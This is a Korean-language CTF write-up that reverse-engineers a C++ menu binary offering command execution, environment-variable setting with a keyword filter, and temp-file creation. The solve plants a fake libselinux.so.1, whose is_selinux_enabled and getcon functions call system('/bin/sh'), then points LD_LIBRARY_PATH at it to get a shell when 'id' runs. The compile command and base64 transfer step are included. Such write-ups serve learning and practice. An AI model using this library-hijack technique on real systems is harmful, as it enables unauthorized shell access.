올 그린은 볼 때 마다 항상 설레는 것 같다.
분석을 하기에 앞서 실행을 먼저 해보도록 하자.
1은 명령을 실행, 2는 환경변수 관리, 3은 임시 디렉토리 생성, 4는 그 디렉토리 위에 파일을 만들기
이정도로 생각할 수 있겠다.
__int64 sub_2178()
{
void (*v0)(void); // rax
int v2; // [rsp-Ch] [rbp-14h]
while ( 1 )
{
sub_4216();
v2 = sub_434E();
if ( !v2 )
break;
v0 = (void (*)(void))sub_2D76((unsigned int)(v2 - 1));
v0();
}
return 0LL;
}
실제로 보면 v0는 함수포인터 sub_2D76에서 우리가 입력한 v2 - 1을 하여 그 함수를 실행한다.
참조하는 함수 주소는 위와 같다.
unsigned __int64 sub_23E2()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
char v6; // [rsp+Fh] [rbp-81h] BYREF
char v7[32]; // [rsp+10h] [rbp-80h] BYREF
char v8[32]; // [rsp+30h] [rbp-60h] BYREF
char v9[40]; // [rsp+50h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+78h] [rbp-18h]
v10 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "p. ls");
v1 = std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
v2 = std::operator<<<std::char_traits<char>>(v1, "i. id");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
sub_438B(v7);
if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v7) == 1 )
{
if ( (unsigned __int8)sub_339B(v7, "p") )
{
if ( (unsigned __int8)sub_33C9(&unk_90A0, &unk_581E) )
{
v3 = std::operator<<<char>(&std::cout, &unk_90A0);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::allocator<char>::allocator(&v6);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
v9,
"ls -al -- ",
&v6);
sub_33F5(v8, v9, &unk_90A0);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v7, v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
std::allocator<char>::~allocator(&v6);
}
}
else if ( (unsigned __int8)sub_339B(v7, "i") )
{
std::allocator<char>::allocator(&v6);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v9, "id", &v6);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(v7, v9);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
std::allocator<char>::~allocator(&v6);
}
v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v7);
sub_23C3(v4);
}
else
{
sub_4406("try 'w'.");
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v7);
return __readfsqword(0x28u) ^ v10;
}
using namespace std;가 시급해보인다.
우선 p를 입력하면 ls가, i 를 입력하면 id가 실행되어야 한다. 하지만 ls의 경우 현재 임시 디렉토리의 내용을 출력해주므로, 임시 디렉토리를 만들지 않았다면 실행이 안된다.
unsigned __int64 sub_2688()
{
const char *v0; // rax
char *v1; // rax
__int64 v2; // rax
const char *v4; // rbx
const char *v5; // rax
__int64 v6; // rax
__int64 v7; // rbx
const char *v8; // rax
char *v9; // rax
__int64 v10; // rax
int v12; // [rsp+Ch] [rbp-64h]
char v13[32]; // [rsp+10h] [rbp-60h] BYREF
char v14[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v15; // [rsp+58h] [rbp-18h]
v15 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "1. get\n2. set\n");
v12 = sub_434E();
if ( v12 == 1 || v12 == 2 )
{
if ( v12 == 1 )
{
sub_438B(v14);
v0 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v14);
v1 = getenv(v0);
v2 = std::operator<<<std::char_traits<char>>(&std::cout, v1);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v14);
}
else
{
sub_438B(v13);
if ( (unsigned __int8)sub_21B1(v13, &unk_9080) || (unsigned __int8)sub_2224(v13) != 1 )
{
sub_3087(v14, v13, " is a banned keyword.");
sub_4456(v14);
}
else
{
sub_438B(v14);
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v14);
v5 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v13);
setenv(v5, v4, 1);
v6 = std::operator<<<char>(&std::cout, v13);
v7 = std::operator<<<std::char_traits<char>>(v6, "=");
v8 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(v13);
v9 = getenv(v8);
v10 = std::operator<<<std::char_traits<char>>(v7, v9);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v14);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v13);
}
}
else
{
sub_43D0();
}
return __readfsqword(0x28u) ^ v15;
}
여기서 꽤 흥미로운 것을 확인할 수 있는데, 우리가 설정하지 못하는 환경변수가 존재한다는 것이다.
근데 저 부분을 분석할 실력이 없어 정확히 어떤 문자열들이 밴 되는 지는 파악하지 못하였다. 하지만 이렇게 유의미한 것들이 필터링 되며, 필터링을 우회할 수 있는 키워드도 발견했다. cpp 분석을 어떻게 해야하지 ..
LD_LIBRARY_PATH를 tmp폴더에 만든 라이브러리 파일로 올리고, id 명령이 실행될 때 들어가지는 함수들을 바꿔치기 하면 문제는 풀릴 것이다.
0x0000000000401050 write@plt
0x0000000000401060 read@plt
0x0000000000401070 setvbuf@plt
0x0000000000401080 exit@plt
0x00007ffff7fd0080 free@plt
0x00007ffff7fd0090 _dl_catch_exception@plt
0x00007ffff7fd00a0 malloc@plt
0x00007ffff7fd00b0 _dl_signal_exception@plt
0x00007ffff7fd00c0 calloc@plt
0x00007ffff7fd00d0 realloc@plt
0x00007ffff7fd00e0 _dl_signal_error@plt
0x00007ffff7fd00f0 _dl_catch_error@plt
0x00007ffff7fcd690 __vdso_gettimeofday
0x00007ffff7fcd690 gettimeofday
0x00007ffff7fcd9e0 __vdso_time
0x00007ffff7fcd9e0 time
0x00007ffff7fcda10 __vdso_clock_gettime
0x00007ffff7fcda10 clock_gettime
0x00007ffff7fcde30 __vdso_clock_getres
0x00007ffff7fcde30 clock_getres
0x00007ffff7fcde90 __vdso_getcpu
0x00007ffff7fcde90 getcpu
0x00007ffff7fcdec0 __vdso_sgx_enter_enclave
0x00007ffff7de3300 __libpthread_freeres@plt
0x00007ffff7de3310 malloc@plt
0x00007ffff7de3320 __libdl_freeres@plt
0x00007ffff7de3330 free@plt
0x00007ffff7de3340 *ABS*+0xa0480@plt
0x00007ffff7de3350 *ABS*+0x9f670@plt
0x00007ffff7de3360 *ABS*+0xbc7e0@plt
0x00007ffff7de3370 realloc@plt
0x00007ffff7de3380 *ABS*+0xa08a0@plt
0x00007ffff7de3390 *ABS*+0xa1c90@plt
0x00007ffff7de33a0 *ABS*+0xbcd20@plt
0x00007ffff7de33b0 *ABS*+0xa06f0@plt
0x00007ffff7de33c0 __tls_get_addr@plt
0x00007ffff7de33d0 *ABS*+0xa0750@plt
0x00007ffff7de33e0 *ABS*+0x9fae0@plt
0x00007ffff7de33f0 *ABS*+0xbc930@plt
0x00007ffff7de3400 memalign@plt
0x00007ffff7de3410 _dl_exception_create@plt
0x00007ffff7de3420 *ABS*+0xa03d0@plt
0x00007ffff7de3430 *ABS*+0xa0850@plt
0x00007ffff7de3440 *ABS*+0xa8bb0@plt
0x00007ffff7de3450 __tunable_get_val@plt
0x00007ffff7de3460 *ABS*+0x9f630@plt
0x00007ffff7de3470 *ABS*+0x9f100@plt
0x00007ffff7de3480 *ABS*+0x9f820@plt
0x00007ffff7de3490 *ABS*+0xbc860@plt
0x00007ffff7de34a0 *ABS*+0xbcdb0@plt
0x00007ffff7de34b0 *ABS*+0xbcdb0@plt
0x00007ffff7de34c0 *ABS*+0xbdf50@plt
0x00007ffff7de34d0 *ABS*+0xa0950@plt
0x00007ffff7de34e0 *ABS*+0x9f1d0@plt
0x00007ffff7de34f0 *ABS*+0xbcce0@plt
0x00007ffff7de3500 *ABS*+0xa0800@plt
0x00007ffff7de3510 _dl_find_dso_for_object@plt
0x00007ffff7de3520 *ABS*+0x9f230@plt
0x00007ffff7de3530 *ABS*+0x9f670@plt
0x00007ffff7de3540 *ABS*+0xbc7e0@plt
0x00007ffff7de3550 calloc@plt
0x00007ffff7de3560 *ABS*+0xa0540@plt
0x00007ffff7de3570 *ABS*+0x9f150@plt
0x00007ffff7de3580 *ABS*+0x9f710@plt
0x00007ffff7de3590 *ABS*+0xa0410@plt
0x00007ffff7de35a0 *ABS*+0xa05e0@plt
0x00007ffff7de35b0 *ABS*+0xbc820@plt
0x00007ffff7de35c0 *ABS*+0xbcce0@plt
0x00007ffff7de35d0 *ABS*+0xa1c50@plt
0x00007ffff7de35e0 *ABS*+0x9f7e0@plt
0x00007ffff7de35f0 *ABS*+0x9f0a0@plt
0x00007ffff7de3600 *ABS*+0xa07b0@plt
0x00007ffff7de3610 *ABS*+0x9f780@plt
0x00007ffff7de3620 *ABS*+0xa0480@plt
함수 목록이다. 처음에는 free와 malloc 같은 함수들 (libc.so.6)로 시도하였지만 풀리지 않았다.
그래서 그 안에서 실행되는 is_selinux_enabled와 getcon 두 함수로 진행하였다.
#include <stdlib.h>
int is_selinux_enabled(){
system("/bin/sh");
}
void getcon(){
system("/bin/sh");
}
gcc -o libselinux.so.1 test.c -fPIC -shared
공유 라이브러리로 컴파일 하였다.
base64 libselinux.so.1
문제는 base64 명령을 하게 되면 사진에서 보이듯이 개행이 되어 출력이 된다. 그래서 실행이 제대로 되지 않는다.
https://bfotool.com/ko/remove-line-breaks
그래서 위의 사이트를 이용했다.
따로 파이썬 스크립트를 짜지 않고,
이러면 따진다. 끝.